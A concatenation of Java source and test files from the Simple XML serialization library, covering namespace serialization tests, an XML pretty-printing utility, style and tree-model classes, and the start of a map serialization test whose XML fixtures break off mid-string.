import org.simpleframework.xml.Namespace;
import org.simpleframework.xml.NamespaceList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Text;
import org.simpleframework.xml.ValidationTestCase;
public class StaticTest extends ValidationTestCase {
private static final String SOURCE =
"<document title='Secret Document' xmlns='http://www.domain.com/document'>\n"+
" <author><NAME></author>\n"+
" <contact><EMAIL></contact>\n"+
" <detail xmlns='http://www.domain.com/detail'>\n"+
" <publisher>Stanford Press</publisher>\n"+
" <date>2001</date>\n"+
" <address>Palo Alto</address>\n"+
" <edition>1st</edition>\n"+
" <ISBN>0-69-697269-4</ISBN>\n"+
" </detail>\n"+
" <section name='Introduction' xmlns='http://www.domain.com/section'>\n"+
" <paragraph xmlns='http://www.domain.com/paragraph'>First paragraph of document</paragraph>\n"+
" <paragraph xmlns='http://www.domain.com/paragraph'>Second paragraph in the document</paragraph>\n"+
" <paragraph xmlns='http://www.domain.com/paragraph'>Third and final paragraph</paragraph>\n"+
" </section>\n"+
"</document>";
@Root
@Namespace(reference="http://www.domain.com/detail")
private static class Detail {
@Element
private String publisher;
@Element
private String date;
@Element
private String address;
@Element
private String edition;
@Element
private String ISBN;
private Detail() {
super();
}
public Detail(String publisher, String date, String address, String edition, String ISBN) {
this.publisher = publisher;
this.address = address;
this.edition = edition;
this.date = date;
this.ISBN = ISBN;
}
}
@Root
@Namespace(reference = "http://www.domain.com/document")
public static class Document {
@Element(name="author")
@Namespace(prefix="user", reference="http://www.domain.com/user")
private static String AUTHOR = "<NAME>";
@Element(name="contact")
private static String CONTACT = "<EMAIL>";
@Element(name="detail")
private static Detail DETAIL = new Detail(
"Stanford Press",
"2001",
"Palo Alto",
"1st",
"0-69-697269-4");
@ElementList(inline = true)
private List<Section> list;
@Attribute
private String title;
private Document() {
super();
}
public Document(String title) {
this.list = new ArrayList<Section>();
this.title = title;
}
public void add(Section section) {
list.add(section);
}
}
@Root
@NamespaceList({
@Namespace(prefix="para", reference="http://www.domain.com/paragraph")
})
private static class Section {
@Attribute
private String name;
@ElementList(inline = true)
private List<Paragraph> list;
private Section() {
super();
}
public Section(String name) {
this.list = new ArrayList<Paragraph>();
this.name = name;
}
public void add(Paragraph paragraph) {
list.add(paragraph);
}
}
@Root
@Namespace(reference = "http://www.domain.com/paragraph")
private static class Paragraph {
private String text;
@Text
private String getContent() {
return text;
}
@Text
public void setContent(String text) {
this.text = text;
}
}
public void testStatic() throws Exception {
Persister persister = new Persister();
Document document = new Document("Secret Document");
Section section = new Section("Introduction");
Paragraph first = new Paragraph();
Paragraph second = new Paragraph();
Paragraph third = new Paragraph();
first.setContent("First paragraph of document");
second.setContent("Second paragraph in the document");
third.setContent("Third and final paragraph");
section.add(first);
section.add(second);
section.add(third);
document.add(section);
persister.write(document, System.out);
validate(persister, document);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/util/Formatter.java<|end_filename|>
package org.simpleframework.xml.util;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStreamWriter;
import java.io.Reader;
import java.io.StringReader;
import java.io.StringWriter;
import java.io.Writer;
import java.util.ArrayList;
import java.util.List;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.DOMConfiguration;
import org.w3c.dom.DOMImplementation;
import org.w3c.dom.Document;
import org.w3c.dom.ls.DOMImplementationLS;
import org.w3c.dom.ls.LSOutput;
import org.w3c.dom.ls.LSSerializer;
import org.xml.sax.InputSource;
public class Formatter {
private static final String LS_FEATURE_KEY = "LS";
private static final String LS_FEATURE_VERSION = "3.0";
private static final String CORE_FEATURE_KEY = "Core";
private static final String CORE_FEATURE_VERSION = "2.0";
private final boolean preserveComments;
public Formatter() {
this(false);
}
public Formatter(boolean preserveComments) {
this.preserveComments = preserveComments;
}
public String format(String source) {
StringWriter writer = new StringWriter();
format(source, writer);
return writer.toString();
}
public void format(String source, Writer writer) {
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setValidating(false);
DocumentBuilder builder = factory.newDocumentBuilder();
Reader reader = new StringReader(source);
InputSource input = new InputSource(reader);
Document document = builder.parse(input);
format(document, writer);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
private void format(Document document, Writer writer) {
DOMImplementation implementation = document.getImplementation();
if(implementation.hasFeature(LS_FEATURE_KEY, LS_FEATURE_VERSION) && implementation.hasFeature(CORE_FEATURE_KEY, CORE_FEATURE_VERSION)) {
DOMImplementationLS implementationLS = (DOMImplementationLS) implementation.getFeature(LS_FEATURE_KEY, LS_FEATURE_VERSION);
LSSerializer serializer = implementationLS.createLSSerializer();
DOMConfiguration configuration = serializer.getDomConfig();
configuration.setParameter("format-pretty-print", Boolean.TRUE);
configuration.setParameter("comments", preserveComments);
LSOutput output = implementationLS.createLSOutput();
output.setEncoding("UTF-8");
output.setCharacterStream(writer);
serializer.write(document, output);
}
}
private String read(File file) throws IOException {
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
InputStream source = new FileInputStream(file);
byte[] chunk = new byte[1024];
int count = 0;
while((count = source.read(chunk)) != -1) {
buffer.write(chunk, 0, count);
}
return buffer.toString("UTF-8");
}
/**
* Scripts to execute the XML formatter.
*
* #!/bin/bash
* xml.bat $1 $2 $3
*
* echo off
* java -jar c:/start/bin/xml.jar %1 %2 %3 %4
*
* @param list arguments to the formatter
*/
public static void main(String list[]) throws Exception {
List<String> values = new ArrayList<String>();
for(String argument : list) {
if(argument != null && argument.trim().length() > 0) {
values.add(argument.trim());
}
}
if(values.size() == 0) {
throw new FileNotFoundException("File needs to be specified as an argument");
}
Formatter formatter = new Formatter();
File file = new File(values.get(0));
String source = formatter.read(file); // read before opening for write
if(values.size() == 1) {
formatter.format(source, new OutputStreamWriter(System.out));
}
else if(values.size() == 2) {
formatter.format(source, new OutputStreamWriter(new FileOutputStream(new File(values.get(1)))));
}
else {
StringBuilder builder = new StringBuilder();
for(String value : values) {
builder.append("'").append(value).append("'");
}
throw new IllegalArgumentException("At most two arguments can be specified, you specified "+builder);
}
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/util/Entry.java<|end_filename|>
/*
* Entry.java July 2006
*
* Copyright (C) 2006, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.util;
/**
* The <code>Entry</code> object represents entries to the dictionary
* object. Every entry must have a name attribute, which is used to
* establish mappings within the <code>Dictionary</code> object. Each
* entry entered into the dictionary can be retrieved using its name.
* <p>
* The entry can be serialzed with the dictionary to an XML document.
* Items stored within the dictionary need to extend this entry
* object to ensure that they can be mapped and serialized with the
* dictionary. Implementations should override the root annotation.
*
* @author <NAME>
*/
public interface Entry {
/**
* Represents the name of the entry instance used for mappings.
* This will be used to map the object to the internal map in
* the <code>Dictionary</code>. This allows serialized objects
* to be added to the dictionary transparently.
*
* @return this returns the name of the entry that is used
*/
String getName();
}
<|start_filename|>src/main/java/org/simpleframework/xml/stream/HyphenStyle.java<|end_filename|>
/*
* HyphenStyle.java July 2008
*
* Copyright (C) 2008, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.stream;
/**
* The <code>HyphenStyle</code> is used to represent an XML style
* that can be applied to a serialized object. A style can be used to
* modify the element and attribute names for the generated document.
* This styles can be used to generate hyphenated XML.
* <pre>
*
* <example-element>
* <child-element example-attribute='example'>
* <inner-element>example</inner-element>
* </child-element>
* </example-element>
*
* </pre>
* Above the hyphenated XML elements and attributes can be generated
* from a style implementation. Styles enable the same objects to be
* serialized in different ways, generating different styles of XML
* without having to modify the class schema for that object.
*
* @author <NAME>
*/
public class HyphenStyle implements Style {
/**
* This is used to perform the actual building of tokens.
*/
private final Builder builder;
/**
* This is the strategy used to generate the style tokens.
*/
private final Style style;
/**
* Constructor for the <code>HyphenStyle</code> object. This is
* used to create a style that will hyphenate XML attributes
* and elements allowing a consistent format for generated XML.
*/
public HyphenStyle() {
this.style = new HyphenBuilder();
this.builder = new Builder(style);
}
/**
* This is used to generate the XML attribute representation of
* the specified name. Attribute names should ensure to keep the
* uniqueness of the name such that two different names will
* be styled in to two different strings.
*
* @param name this is the attribute name that is to be styled
*
* @return this returns the styled name of the XML attribute
*/
public String getAttribute(String name) {
return builder.getAttribute(name);
}
/**
* This is used to set the attribute values within this builder.
* Overriding the attribute values ensures that the default
* algorithm does not need to determine each of the values. It
* allows special behaviour that the user may require for XML.
*
* @param name the name of the XML attribute to be overridden
* @param value the value that is to be used for that attribute
*/
public void setAttribute(String name, String value) {
builder.setAttribute(name, value);
}
/**
* This is used to generate the XML element representation of
* the specified name. Element names should ensure to keep the
* uniqueness of the name such that two different names will
* be styled in to two different strings.
*
* @param name this is the element name that is to be styled
*
* @return this returns the styled name of the XML element
*/
public String getElement(String name) {
return builder.getElement(name);
}
/**
* This is used to set the element values within this builder.
* Overriding the element values ensures that the default
* algorithm does not need to determine each of the values. It
* allows special behaviour that the user may require for XML.
*
* @param name the name of the XML element to be overridden
* @param value the value that is to be used for that element
*/
public void setElement(String name, String value) {
builder.setElement(name, value);
}
}
<|start_filename|>src/main/java/org/simpleframework/xml/core/TreeModel.java<|end_filename|>
/*
* TreeModel.java November 2010
*
* Copyright (C) 2010, <NAME> <<EMAIL>>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package org.simpleframework.xml.core;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
/**
* The <code>TreeModel</code> object is used to build a tree like
* structure to represent the XML schema for an annotated class. The
* model is responsible for building, ordering, and validating all
* criteria used to represent the class schema. This is immutable
* to ensure it can be reused many time, in a concurrent environment.
* Each time attribute and element definitions are requested they
* are build as new <code>LabelMap</code> objects using a provided
* context. This ensures the mappings can be styled as required.
*
* @author <NAME>
*
* @see org.simpleframework.xml.core.Context
*/
class TreeModel implements Model {
/**
* This is the XPath expression representing the location.
*/
private Expression expression;
/**
* This holds the mappings for elements within the model.
*/
private LabelMap attributes;
/**
* This holds the mappings for elements within the model.
*/
private LabelMap elements;
/**
* This holds the mappings for the models within this instance.
*/
private ModelMap models;
/**
* This is used to provide the order of the model elements.
*/
private OrderList order;
/**
* This is the serialization policy enforced on this model.
*/
private Policy policy;
/**
* This is the type used for reporting validation errors.
*/
private Detail detail;
/**
* This must be a valid XML element representing the name.
*/
private String name;
/**
* This is used to represent the prefix for this model.
*/
private String prefix;
/**
* This is an optional text label used for this model.
*/
private Label text;
/**
* This is an optional text label used for this model.
*/
private Label list;
/**
* This is the index used to sort similarly named models.
*/
private int index;
/**
* Constructor for the <code>TreeModel</code> object. This can be
* used to register the attributes and elements associated with
* an annotated class. Also, if there are any path references,
* this can contain a tree of models mirroring the XML structure.
*
* @param policy this is the serialization policy enforced
* @param detail this is the detail associated with this model
*/
public TreeModel(Policy policy, Detail detail) {
this(policy, detail, null, null, 1);
}
/**
* Constructor for the <code>TreeModel</code> object. This can be
* used to register the attributes and elements associated with
* an annotated class. Also, if there are any path references,
* this can contain a tree of models mirroring the XML structure.
*
* @param policy this is the serialization policy enforced
* @param detail this is the detail associated with this model
* @param name this is the XML element name for this model
* @param prefix this is the prefix used for this model object
* @param index this is the index used to order the model
*/
public TreeModel(Policy policy, Detail detail, String name, String prefix, int index) {
this.attributes = new LabelMap(policy);
this.elements = new LabelMap(policy);
this.models = new ModelMap(detail);
this.order = new OrderList();
this.detail = detail;
this.policy = policy;
this.prefix = prefix;
this.index = index;
this.name = name;
}
/**
* This method is used to look for a <code>Model</code> that
* matches the specified expression. If no such model exists
* then this will return null. Using an XPath expression allows
* a tree like structure to be navigated with ease.
*
* @param path an XPath expression used to locate a model
*
* @return this returns the model located by the expression
*/
public Model lookup(Expression path) {
String name = path.getFirst();
int index = path.getIndex();
Model model = lookup(name, index);
if(path.isPath()) {
path = path.getPath(1, 0);
if(model != null) {
return model.lookup(path);
}
}
return model;
}
/**
* This is used to register an XML entity within the model. The
* registration process has the affect of telling the model that
* it will contain a specific, named, XML entity. It also has
* the affect of ordering them within the model, such that the
* first registered entity is the first iterated over.
*
* @param name this is the name of the element to register
*/
public void registerElement(String name) throws Exception {
if(!order.contains(name)) {
order.add(name);
}
elements.put(name, null);
}
/**
* This is used to register an XML entity within the model. The
* registration process has the affect of telling the model that
* it will contain a specific, named, XML entity. It also has
* the affect of ordering them within the model, such that the
* first registered entity is the first iterated over.
*
* @param name this is the name of the element to register
*/
public void registerAttribute(String name) throws Exception {
attributes.put(name, null);
}
/**
* This is used to register an XML entity within the model. The
* registration process has the affect of telling the model that
* it will contain a specific, named, XML entity. It also has
* the affect of ordering them within the model, such that the
* first registered entity is the first iterated over.
*
* @param label this is the label to register with the model
*/
public void registerText(Label label) throws Exception {
if(text != null) {
throw new TextException("Duplicate text annotation on %s", label);
}
text = label;
}
/**
* This is used to register an XML entity within the model. The
* registration process has the affect of telling the model that
* it will contain a specific, named, XML entity. It also has
* the affect of ordering them within the model, such that the
* first registered entity is the first iterated over.
*
* @param label this is the label to register with the model
*/
public void registerAttribute(Label label) throws Exception {
String name = label.getName();
if(attributes.get(name) != null) {
throw new AttributeException("Duplicate annotation of name '%s' on %s", name, label);
}
attributes.put(name, label);
}
/**
* This is used to register an XML entity within the model. The
* registration process has the affect of telling the model that
* it will contain a specific, named, XML entity. It also has
* the affect of ordering them within the model, such that the
* first registered entity is the first iterated over.
*
* @param label this is the label to register with the model
*/
public void registerElement(Label label) throws Exception {
String name = label.getName();
if(elements.get(name) != null) {
throw new ElementException("Duplicate annotation of name '%s' on %s", name, label);
}
if(!order.contains(name)) {
order.add(name);
}
if(label.isTextList()) {
list = label;
}
elements.put(name, label);
}
/**
* This is used to build a map from a <code>Context</code> object.
* Building a map in this way ensures that any style specified by
* the context can be used to create the XML element and attribute
* names in the styled format. It also ensures that the model
* remains immutable as it only provides copies of its data.
*
* @return this returns a map built from the specified context
*/
public ModelMap getModels() throws Exception {
return models.getModels();
}
/**
* This is used to build a map from a <code>Context</code> object.
* Building a map in this way ensures that any style specified by
* the context can be used to create the XML element and attribute
* names in the styled format. It also ensures that the model
* remains immutable as it only provides copies of its data.
*
* @return this returns a map built from the specified context
*/
public LabelMap getAttributes() throws Exception {
return attributes.getLabels();
}
/**
* This is used to build a map from a <code>Context</code> object.
* Building a map in this way ensures that any style specified by
* the context can be used to create the XML element and attribute
* names in the styled format. It also ensures that the model
* remains immutable as it only provides copies of its data.
*
* @return this returns a map built from the specified context
*/
public LabelMap getElements() throws Exception{
return elements.getLabels();
}
/**
* This is used to determine if the provided name represents
* a model. This is useful when validating the model as it
* allows determination of a named model, which is an element.
*
* @param name this is the name of the section to determine
*
* @return this returns true if the model is registered
*/
public boolean isModel(String name) {
return models.containsKey(name);
}
/**
* This is used to determine if the provided name represents
* an element. This is useful when validating the model as
* it allows determination of a named XML element.
*
* @param name this is the name of the section to determine
*
* @return this returns true if the element is registered
*/
public boolean isElement(String name) {
return elements.containsKey(name);
}
/**
* This is used to determine if the provided name represents
* an attribute. This is useful when validating the model as
* it allows determination of a named XML attribute
*
* @param name this is the name of the attribute to determine
*
* @return this returns true if the attribute is registered
*/
public boolean isAttribute(String name) {
return attributes.containsKey(name);
}
/**
* This will return the names of all elements contained within
* the model. This includes the names of all XML elements that
* have been registered as well as any other models that have
* been added. Iteration is done in an ordered manner, according
* to the registration of elements and models.
*
* @return an order list of the elements and models registered
*/
public Iterator<String> iterator() {
List<String> list = new ArrayList<String>();
for(String name : order) {
list.add(name);
}
return list.iterator();
}
/**
* This is used to validate the model to ensure all elements and
* attributes are valid. Validation also ensures that any order
* specified by an annotated class did not contain invalid XPath
* values, or redundant elements and attributes.
*
* @param type this is the object type representing the schema
*
* @throws Exception if text and element annotations are present
*/
public void validate(Class type) throws Exception {
validateExpressions(type);
validateAttributes(type);
validateElements(type);
validateModels(type);
validateText(type);
}
/**
* This method is used to validate the model based on whether it
* has a text annotation. If this model has a text annotation then
* it is checked to see if it is a composite model or has any
* elements. If it has either then the model is considered invalid.
*
* @param type this is the object type representing the schema
*/
private void validateText(Class type) throws Exception {
if(text != null) {
if(!elements.isEmpty()) {
throw new TextException("Text annotation %s used with elements in %s", text, type);
}
if(isComposite()) {
throw new TextException("Text annotation %s can not be used with paths in %s", text, type);
}
}
}
/**
* This is used to validate the expressions used for each label that
* this model represents. Each label within a model must have an
* XPath expression, if the expressions do not match then this will
* throw an exception. If the model contains no labels then it is
* considered empty and does not need validation.
*
* @param type this is the object type representing the schema
*/
private void validateExpressions(Class type) throws Exception {
for(Label label : elements) {
if(label != null) {
validateExpression(label);
}
}
for(Label label : attributes) {
if(label != null) {
validateExpression(label);
}
}
if(text != null) {
validateExpression(text);
}
}
/**
* This is used to validate the expressions used for a label that
* this model represents. Each label within a model must have an
* XPath expression, if the expressions do not match then this will
* throw an exception. If the model contains no labels then it is
* considered empty and does not need validation.
*
* @param label this is the object type representing the schema
*/
private void validateExpression(Label label) throws Exception {
Expression location = label.getExpression();
if(expression != null) {
String path = expression.getPath();
String expect = location.getPath();
if(!path.equals(expect)) {
throw new PathException("Path '%s' does not match '%s' in %s", path, expect, detail);
}
} else {
expression = location;
}
}
/**
* This is used to validate the models within the instance. This
* will basically result in validation of the entire tree. Once
* finished all models contained within the tree will be valid.
* If any model is invalid an exception will be thrown.
* <p>
* To ensure that all ordering and registration of the models
* is consistent this will check to ensure the indexes of each
* registered model are in sequence. If they are out of sequence
* then this will throw an exception.
*
* @param type this is the type this model is created for
*/
private void validateModels(Class type) throws Exception {
for(ModelList list : models) {
int count = 1;
for(Model model : list) {
if(model != null) {
String name = model.getName();
int index = model.getIndex();
if(index != count++) {
throw new ElementException("Path section '%s[%s]' is out of sequence in %s", name, index, type);
}
model.validate(type);
}
}
}
}
/**
* This is used to validate the individual attributes within the
* model. Validation is done be acquiring all the attributes and
* determining if they are null. If they are null this means that
* an ordering has been imposed on a non-existing attribute.
*
* @param type this is the type this model is created for
*/
private void validateAttributes(Class type) throws Exception {
Set<String> keys = attributes.keySet();
for(String name : keys) {
Label label = attributes.get(name);
if(label == null) {
throw new AttributeException("Ordered attribute '%s' does not exist in %s", name, type);
}
if(expression != null) {
expression.getAttribute(name); // prime cache
}
}
}
/**
* This is used to validate the individual elements within the
* model. Validation is done be acquiring all the elements and
* determining if they are null. If they are null this means that
* an ordering has been imposed on a non-existing element.
*
* @param type this is the type this model is created for
*/
private void validateElements(Class type) throws Exception {
Set<String> keys = elements.keySet();
for(String name : keys) {
ModelList list = models.get(name);
Label label = elements.get(name);
if(list == null && label == null) {
throw new ElementException("Ordered element '%s' does not exist in %s", name, type);
}
if(list != null && label != null) {
if(!list.isEmpty()) {
throw new ElementException("Element '%s' is also a path name in %s", name, type);
}
}
if(expression != null) {
expression.getElement(name); // prime cache
}
}
}
/**
* This is used to register an XML entity within the model. The
* registration process has the affect of telling the model that
* it will contain a specific, named, XML entity. It also has
* the affect of ordering them within the model, such that the
* first registered entity is the first iterated over.
*
* @param label this is the label to register with the model
*/
public void register(Label label) throws Exception {
if(label.isAttribute()) {
registerAttribute(label);
} else if(label.isText()) {
registerText(label);
} else {
registerElement(label);
}
}
/**
* This method is used to look for a <code>Model</code> that
* matches the specified element name. If no such model exists
* then this will return null. This is used as an alternative
* to providing an XPath expression to navigate the tree.
*
* @param name this is the name of the model to be acquired
*
* @return this returns the model located by the expression
*/
public Model lookup(String name, int index) {
return models.lookup(name, index);
}
/**
* This is used to register a <code>Model</code> within this
* model. Registration of a model creates a tree of models that
* can be used to represent an XML structure. Each model can
* contain elements and attributes associated with a type.
*
* @param name this is the name of the model to be registered
* @param prefix this is the prefix used for this model
* @param index this is the index used to order the model
*
* @return this returns the model that was registered
*/
public Model register(String name, String prefix, int index) throws Exception {
Model model = models.lookup(name, index);
if (model == null) {
return create(name, prefix, index);
}
return model;
}
/**
* This is used to register a <code>Model</code> within this
* model. Registration of a model creates a tree of models that
* can be used to represent an XML structure. Each model can
* contain elements and attributes associated with a type.
*
* @param name this is the name of the model to be registered
* @param prefix this is the prefix used for this model
* @param index this is the index used to order the model
*
* @return this returns the model that was registered
*/
private Model create(String name, String prefix, int index) throws Exception {
Model model = new TreeModel(policy, detail, name, prefix, index);
if(name != null) {
models.register(name, model);
order.add(name);
}
return model;
}
/**
* This is used to perform a recursive search of the models that
* have been registered, if a model has elements or attributes
* then this returns true. If however no other model contains
* any attributes or elements then this will return false.
*
* @return true if any model has elements or attributes
*/
public boolean isComposite() {
for(ModelList list : models) {
for(Model model : list) {
if(model != null) {
if(!model.isEmpty()) {
return true;
}
}
}
}
return !models.isEmpty();
}
/**
* Used to determine if a model is empty. A model is considered
* empty if that model does not contain any registered elements
* or attributes. However, if the model contains other models
* that have registered elements or attributes it is not empty.
*
* @return true if the model does not contain registrations
*/
public boolean isEmpty() {
if(text != null) {
return false;
}
if(!elements.isEmpty()) {
return false;
}
if(!attributes.isEmpty()) {
return false;
}
return !isComposite();
}
/**
* This returns a text label if one is associated with the model.
* If the model does not contain a text label then this method
* will return null. Any model with a text label should not be
* composite and should not contain any elements.
*
* @return this is the optional text label for this model
*/
public Label getText() {
if(list != null) {
return list;
}
return text;
}
/**
* This returns an <code>Expression</code> representing the path
* this model exists at within the class schema. This should
* never be null for any model that is not empty.
*
* @return this returns the expression associated with this
*/
public Expression getExpression() {
return expression;
}
/**
* This is used to acquire the path prefix for the model. The
* path prefix is used when the model is transformed in to an
* XML structure. This ensures that the XML element created to
* represent the model contains the optional prefix.
*
* @return this returns the prefix for this model
*/
public String getPrefix() {
return prefix;
}
/**
* This is used to return the name of the model. The name is
* must be a valid XML element name. It is used when a style
* is applied to a section as the model name must be styled.
*
* @return this returns the name of this model instance
*/
public String getName() {
return name;
}
/**
* This method is used to return the index of the model. The
* index is the order that this model appears within the XML
* document. Having an index allows multiple models of the
* same name to be inserted in to a sorted collection.
*
* @return this is the index of this model instance
*/
public int getIndex() {
return index;
}
/**
* For the purposes of debugging we provide a representation
* of the model in a string format. This will basically show
* the name of the model and the index it exists at.
*
* @return this returns some details for the model
*/
public String toString() {
return String.format("model '%s[%s]'", name, index);
}
/**
* The <code>OrderList</code> object is used to maintain the order
* of the XML elements within the model. Elements are either
* other models or element <code>Label</code> objects that are
* annotated fields or methods. Maintaining order is important
*
* @author <NAME>
*/
private static class OrderList extends ArrayList<String> {
/**
* Constructor for the <code>OrderList</code> object. This is
* basically a typedef of sorts that hides the ugly generic
* details from the class definition.
*/
public OrderList() {
super();
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/MapTest.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.StringWriter;
import java.math.BigDecimal;
import java.util.HashMap;
import java.util.Map;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
public class MapTest extends ValidationTestCase {
private static final String ENTRY_MAP =
"<entryMap>\n"+
" <map>\n"+
" <entry key='a'>" +
" <mapEntry>\n" +
" <name>a</name>\n"+
" <value>example 1</value>\n"+
" </mapEntry>" +
" </entry>" +
" <entry key='b'>" +
" <mapEntry>\n" +
" <name>b</name>\n"+
" <value>example 2</value>\n"+
" </mapEntry>" +
" </entry>" +
" <entry key='c'>" +
" <mapEntry>\n" +
" <name>c</name>\n"+
" <value>example 3</value>\n"+
" </mapEntry>" +
" </entry>" +
" <entry key='d'>" +
" <mapEntry>\n" +
" <name>d</name>\n"+
" <value>example 4</value>\n"+
" </mapEntry>" +
" </entry>" +
" </map>\n"+
"</entryMap>";
private static final String STRING_MAP =
"<stringMap>\n"+
" <map>\n"+
" <entry letter='a'>example 1</entry>\n" +
" <entry letter='b'>example 2</entry>\n" +
" <entry letter='c'>example 3</entry>\n" +
" <entry letter='d'>example 4</entry>\n" +
" </map>\n"+
"</stringMap>";
private static final String COMPLEX_VALUE_KEY_OVERRIDE_MAP =
"<complexMap>\n"+
" <map>\n"+
" <item>" +
" <key>\n" +
" <name>name 1</name>\n" +
" <address>address 1</address>\n" +
" </key>\n" +
" <value>\n" +
" <name>a</name>\n"+
" <value>example 1</value>\n"+
" </value>" +
" </item>" +
" <item>" +
" <key>\n" +
" <name>name 2</name>\n" +
" <address>address 2</address>\n" +
" </key>\n" +
" <value>\n" +
" <name>b</name>\n"+
" <value>example 2</value>\n"+
" </value>" +
" </item>" +
" <item>" +
" <key>\n" +
" <name>name 3</name>\n" +
" <address>address 3</address>\n" +
" </key>\n" +
" <value>\n" +
" <name>c</name>\n"+
" <value>example 3</value>\n"+
" </value>" +
" </item>" +
" <item>" +
" <key>\n" +
" <name>name 4</name>\n" +
" <address>address 4</address>\n" +
" </key>\n" +
" <value>\n" +
" <name>d</name>\n"+
" <value>example 4</value>\n"+
" </value>" +
" </item>" +
" </map>\n"+
"</complexMap>";
private static final String COMPLEX_MAP =
"<complexMap>\n"+
" <map>\n"+
" <entry>" +
" <compositeKey>\n" +
" <name>name 1</name>\n" +
" <address>address 1</address>\n" +
" </compositeKey>\n" +
" <mapEntry>\n" +
" <name>a</name>\n"+
" <value>example 1</value>\n"+
" </mapEntry>" +
" </entry>" +
" <entry>" +
" <compositeKey>\n" +
" <name>name 2</name>\n" +
" <address>address 2</address>\n" +
" </compositeKey>\n" +
" <mapEntry>\n" +
" <name>b</name>\n"+
" <value>example 2</value>\n"+
" </mapEntry>" +
" </entry>" +
" <entry>" +
" <compositeKey>\n" +
" <name>name 3</name>\n" +
" <address>address 3</address>\n" +
" </compositeKey>\n" +
" <mapEntry>\n" +
" <name>c</name>\n"+
" <value>example 3</value>\n"+
" </mapEntry>" +
" </entry>" +
" <entry>" +
" <compositeKey>\n" +
" <name>name 4</name>\n" +
" <address>address 4</address>\n" +
" </compositeKey>\n" +
" <mapEntry>\n" +
" <name>d</name>\n"+
" <value>example 4</value>\n"+
" </mapEntry>" +
" </entry>" +
" </map>\n"+
"</complexMap>";
private static final String PRIMITIVE_MAP =
"<primitiveMap>\n"+
" <table>\n"+
" <entry>\n" +
" <string>one</string>\n" +
" <bigDecimal>1.0</bigDecimal>\n" +
" </entry>\n"+
" <entry>" +
" <string>two</string>\n" +
" <bigDecimal>2.0</bigDecimal>\n" +
" </entry>\n"+
" <entry>" +
" <string>three</string>\n" +
" <bigDecimal>3.0</bigDecimal>\n" +
" </entry>\n"+
" <entry>" +
" <string>four</string>\n" +
" <bigDecimal>4.0</bigDecimal>\n" +
" </entry>\n"+
" </table>\n"+
"</primitiveMap>";
private static final String PRIMITIVE_VALUE_OVERRIDE_MAP =
"<primitiveValueOverrideMap>\n"+
" <map>\n"+
" <entry>\n" +
" <string>one</string>\n" +
" <decimal>1.0</decimal>\n" +
" </entry>\n"+
" <entry>" +
" <string>two</string>\n" +
" <decimal>2.0</decimal>\n" +
" </entry>\n"+
" <entry>" +
" <string>three</string>\n" +
" <decimal>3.0</decimal>\n" +
" </entry>\n"+
" <entry>" +
" <string>four</string>\n" +
" <decimal>4.0</decimal>\n" +
" </entry>\n"+
" </map>\n"+
"</primitiveValueOverrideMap>";
private static final String PRIMITIVE_VALUE_KEY_OVERRIDE_MAP =
"<primitiveValueKeyOverrideMap>\n"+
" <map>\n"+
" <item>\n" +
" <text>one</text>\n" +
" <decimal>1.0</decimal>\n" +
" </item>\n"+
" <item>" +
" <text>two</text>\n" +
" <decimal>2.0</decimal>\n" +
" </item>\n"+
" <item>" +
" <text>three</text>\n" +
" <decimal>3.0</decimal>\n" +
" </item>\n"+
" <item>" +
" <text>four</text>\n" +
" <decimal>4.0</decimal>\n" +
" </item>\n"+
" </map>\n"+
"</primitiveValueKeyOverrideMap>";
private static final String PRIMITIVE_INLINE_MAP =
"<primitiveInlineMap>\n"+
" <entity>\n" +
" <string>one</string>\n" +
" <bigDecimal>1.0</bigDecimal>\n" +
" </entity>\n"+
" <entity>" +
" <string>two</string>\n" +
" <bigDecimal>2.0</bigDecimal>\n" +
" </entity>\n"+
" <entity>" +
" <string>three</string>\n" +
" <bigDecimal>3.0</bigDecimal>\n" +
" </entity>\n"+
" <entity>" +
" <string>four</string>\n" +
" <bigDecimal>4.0</bigDecimal>\n" +
" </entity>\n"+
"</primitiveInlineMap>";
private static final String INDEX_EXAMPLE =
"<?xml version='1.0' encoding='ISO-8859-1'?>\r\n" +
"<index id='users'>\r\n" +
" <database>xyz</database>\r\n" +
" <query>\r\n" +
" <columns>foo,bar</columns>\r\n" +
" <tables>a,b,c</tables>\r\n" +
" </query>\r\n" +
" <fields>\r\n" +
